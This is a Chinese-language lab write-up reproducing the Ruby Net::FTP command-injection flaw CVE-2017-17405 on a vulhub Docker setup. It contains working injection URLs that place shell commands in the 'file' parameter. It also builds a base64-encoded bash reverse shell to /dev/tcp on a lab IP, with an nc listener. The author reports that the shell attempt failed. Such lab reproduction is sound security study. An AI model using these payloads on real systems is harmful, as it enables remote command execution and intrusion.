Ruby NetFTP 模块命令注入漏洞（CVE-2017-17405）

声明

好好学习，天天向上

漏洞描述

Ruby Net::FTP 模块是一个FTP客户端，在上传和下载文件的过程中，打开本地文件时使用了open函数。而在ruby中，open函数是借用系统命令来打开文件，且没用过滤shell字符，导致在用户控制文件名的情况下，将可以注入任意命令。

影响范围

• Ruby 2.2系列：2.2.8及更早版本
• Ruby 2.3系列：2.3.5及更早版本
• Ruby 2.4系列：2.4.2及更早版本
• Ruby 2.5系列：2.5.0-preview1
• 在主干修订版r61242之前

复现过程

这里使用2.2.3版本

使用vulhub

cd /app/vulhub-master/ruby/CVE-2017-17405

使用docker启动

docker-compose build
docker-compose up -d

环境启动后，访问http://your-ip:8080

http://192.168.239.129:8080

开始攻击，kali启动ftp

pip install pyftpdlib
python3 -m pyftpdlib -p 2121 -i 0.0.0.0

访问如下URL，进行命令执行，空格用${IFS}代替

http://192.168.239.129:8080/download?uri=ftp://192.168.239.139:2121/&file=|touch${IFS}cve-2017-17405.txt

执行命令

构造反弹shell

确定要反弹的IP和端口，我是用我的kali

192.168.239.139

6666

那么linux下反弹shell的命令就是

bash -i >& /dev/tcp/192.168.239.139/6666 0>&1

上述命令进行base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMzkvNjY2NiAwPiYx

编码后，与bash拼接

|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMzkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'

再与URL进行拼接

http://192.168.239.129:8080/download?uri=ftp://192.168.239.139:2121/&file=|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMzkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'

kali监听6666端口

nc -lvvp 6666

浏览器访问

http://192.168.239.129:8080/download?uri=ftp://192.168.239.139:2121/&file=|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMzkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'

反弹失败，难受，耻辱下播

关闭镜像（每次用完后关闭）

docker-compose down

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose build
docker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID /bin/bash

关闭镜像（每次用完后关闭）

docker-compose down